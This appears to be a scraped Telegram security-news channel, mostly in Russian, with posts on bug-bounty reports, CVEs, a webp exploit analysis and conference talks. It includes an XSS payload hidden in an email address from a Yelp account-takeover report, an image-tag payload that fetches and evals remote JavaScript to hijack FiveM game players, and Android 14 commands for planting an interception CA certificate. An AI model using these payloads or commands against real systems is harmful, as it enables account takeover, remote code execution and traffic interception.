Cybred
9.78K subscribers
402 photos
35 videos
100 files
611 links
Download Telegram
Unchained Skies: A Deep Dive into Reverse Engineering and Exploitation of Drones

Спутники тут.
CVE-2023-34040 Spring Kafka Deserialization Remote Code Execution

In Spring for Apache Kafka 3.0.9 and earlier and versions 2.9.10 and earlier, a possible deserialization attack vector existed. An attacker would have to construct a malicious serialized object in one of the deserialization exception record headers.

PoC
https://hackerone.com/reports/2089042

От Self XSS до Account Takeover на сервисе Yelp с использованием Cookie Bomb (первый раз вижу, чтобы ее использовали таким способом) и эксфильтрацией HttpOnly куки через Cookie Bridge (механизм, чтобы шарить сессию между доменами одного и того же сервиса).

Связка красивая. Пэйлоад из репорта, с которого удалось раскрутить всю цепочку
"<iframe/onload=eval(atob(location.hash.substring(1)))>"@calc.sh
указывать в качестве адреса электронной почты при регистрации где угодно.
Hacking GTA V RP Servers Using Web Exploitation Techniques

FiveM - клиент для GTA 5, позволяющий убрать ограничения в виде отсутствия модификаций, которые раньше можно было установить только в сингл-плеер и молиться, чтобы случайно не запустить онлайн и не "словить" бан. Пришла новая эра, эра без привязки к серверам Social Club, эра без донатов и несуразных ограничений, эра, где старый-добрый онлайн заиграет новыми красками.

Мод для FiveM называется ресурсом. Серверная часть ресурсов пишется на LUA, клиентская — на Javascript. А любые кастомные окна рендерятся с помощью NUI — HTML-based интерфейса, который использует под собой Chromium Embedded Framework (CEF).

Все ресурсы открывается на одной странице в CEF (каждый — в своем Iframe). Автор нашел мод rcore_radiocar, который позволяет включить любой трек с Youtube и транслировать его игрокам поблизости (как будто они слышат музыку из проезжающей машины).

В rcore_radiocar нашлась классическая DOM XSS с помощью JQuery и метода append, который использовался, чтобы добавить указанный URL (в данном случае, ссылки на Youtube с треком) в DOM-дерево (напомню, никакой изоляции между ресурсами нет).

Достаточно было указать в качестве URL
<img src="#" onerror='fetch(`https://[redacted].com/payload.js`).then(res=>res.text().then(r=>eval(r)))' style="display:none" />
а в самом пэйлоаде — подключение к вебсокету, чтобы принимать коннекты от других игроков и отправлять им свои команды.

А дальше - играться с остальными ресурсами, которые установлены у подключившихся к сокету. Например, отправить от имени другого игрока сообщение в чат, повысить себе привилегии или переслать себе всю чужую валюту.
Начиная с Android 14, Google немного решили закрутить гайки и вместо привычного /system/etc/security/cacerts, все CA сертификаты будут загружаться из неизменяемого контейнера /apex/com.android.conscrypt/cacerts.

Это значит, что монтировать /system/ на RW и класть туда сертификаты, как это можно было делать в старых версиях Android, теперь бесполезно, а в новый каталог — невозможно.

Поэтому, если вы захотите перехватывать трафик на новых устройствах, придется следовать другому алгоритму:
1. Монтируем tmpfs в любую директорию (я буду использовать старую /system/) и закидываем туда сертификаты из APEX
mount -t tmpfs tmpfs /system/etc/security/cacerts
mv /apex/com.android.conscrypt/cacerts/* /system/etc/security/cacerts/
не забывая в конце туда же положить сертификат Portswigger или любой другой.
2. Используем nsenter, чтобы забиндить каждый новый процесс и заставить его ссылаться на нашу директорию в качестве APEX-контейнера
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts

Zygote порождает приложения, а мы его один раз перенастраиваем на использование новых неймспейсов, где в качестве неизменяемой директории APEX, — наша новая директория, которую мы можем редактировать.

для уже запущенных можно сделать так
nsenter --mount=/proc/$APP_PID/ns/mnt -- \
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts

Вуаля, теперь можно заворачивать и снифать трафик, как и раньше. Чтобы не мучиться каждый раз с вводом команд и поиском нужных PID, прикладываю готовый скрипт с комментариями.
https://github.com/redrays-io/WS_RaceCondition_PoC

Are there any race condition vulnerabilities in WebSockets in the wild?
Yes, a few critical race condition vulnerabilities have been detected in some cryptocurrency exchanges using WS API. These issues have been reported, and the exchanges subsequently fixed them.

По мотивам "Smashing the State Machine: the True Potential of Web Race Conditions" by James Kettle, кто-то решил сделать PoC для Race Condition на вебсокетах.
Forwarded from RUH8
С удовольствием прочитал в блоге Isosceles про новую уязвимость в webp. Ею пользуется NSO (они прекрасны!) и из-за неё недавно выходили срочные патчи у Apple и Google. В webp для сжатия используется Хаффман, добрый старина Хаффман, декодер для которого можно упихнуть в две-три строки: for (n = tree; n->left; n = getbit() == 0 ? n->left : n->right) ; *out++ = n->sym;

И в таком виде им никто никогда не пользуется потому что медленно. Программисты любят менять время на место и тоже самое можно сделать с помощью таблицы (zlib) или конечного автомата тоже с таблицей (zstd). Самый худший случай - вырожденное дерево, когда каждый следующий символ встречается ровно в два раза чаще, чем предыдущий. Создать такой файл естественным путем невозможно, для него не хватит места во вселенной, а вот дерево, которое его описывает вполне. Оно похоже на палку с занозами.

Его можно сплющить, чтобы уместиться в разумное количество памяти и снова обменять худшее сжатие, на возможность пользоваться таблицами. Самый простой способ просто разделить частоту каждого символа на два: f[i] = (f[i] + 1) / 2 есть и эвристические, и точные алгоритмы для этой задачи. В реальной жизни вес веток не равномерен, потому webp пользуется несколькими уровнями таблиц. Сперва прикидывает размеры (эта часть "украдена" в zlib), а потом записывает значения. CS точная наука, хуле.

NSO подсунули им деревце с частично вырожденными кусками, чтобы с одной стороны уложиться в лимиты по памяти, а с другой - добраться до самого нижнего пятого уровня вложенности таблиц и затем записать значение за границами выделенной памяти. Занятно, что патч который выкатил Google работает неправильно, но закрывает уязвимость. Он работает только потому, что делает два прогона по построению таблиц и в первый раз ничего не пишет, а только пересчитывает размеры и за счет этого отсеивает невалидные коды. С тем же успехом можно было и проверку границ включить. Очень торопились.

Дальше автор рассказывает про фаззинг (попытка накормить программу неверными значениями, чтобы найти баги). И такие баги невозможно найти фаззингом в принципе. Что как бы нам намекает на то, что даже если вы знаете цвет обложки учебника и код давно уже написан знающими людьми, строить софт из кубиков не получится. Даже у Эплла с Гуглом. NSO красавчики, увидеть отсутствие проверок и подстричь дерево кодов в форме осинового кола, для этого нужна и внимательность и большой опыт.
HITBSecConf или Hack In The Box Security Conference — это ежегодное мероприятие, которое является платформой для обсуждения и распространения вопросов кибербезопасности следующего поколения с передовыми хардкорными техническими докладами, проводимыми некоторыми из самых уважаемых имен в индустрии компьютерной безопасности.

Презентации:
An Ode to Rabbit Holes - Writing a New Decompiler Just for a Security Audit
Cracking the Shield - Analyzing and Reverse Engineering Antivirus Signatures
Timekiller - Leveraging Asynchronous Clock to Escape from QEMU KVM
A Practical Method of Finding Vulnerabilities in Internet of Things
Hacking into iOS VOLTE implementation
Hunting for Amazon Cognito Security Misconfigurations
Windows Kernel Security - A Deep Dive into Two Exploits Demonstrated at Pwn2Own
Building a Full-Speed Anti-Censorship Router
TSSHOCK – Breaking MPC Wallets and Digital Custodians
Breaking ML Services - Finding 0-days in Azure Machine Learning

Все остальное тут.
https://github.com/swoops/eval_villain

Простое, но полезное расширение, помогающее находить DOM XSS. Предупреждает в консоли обо всех вызовах функций, вроде innerHTML, document.write, eval, с передаваемыми в них параметрами.
Fuzz on the Beach: Fuzzing Solana Smart Contracts
Crypto in Conflict: How the role of cryptoassets has evolved in the Russia-Ukrainian War

Войны теперь документируются не только на бумаге, но и в блокчейне.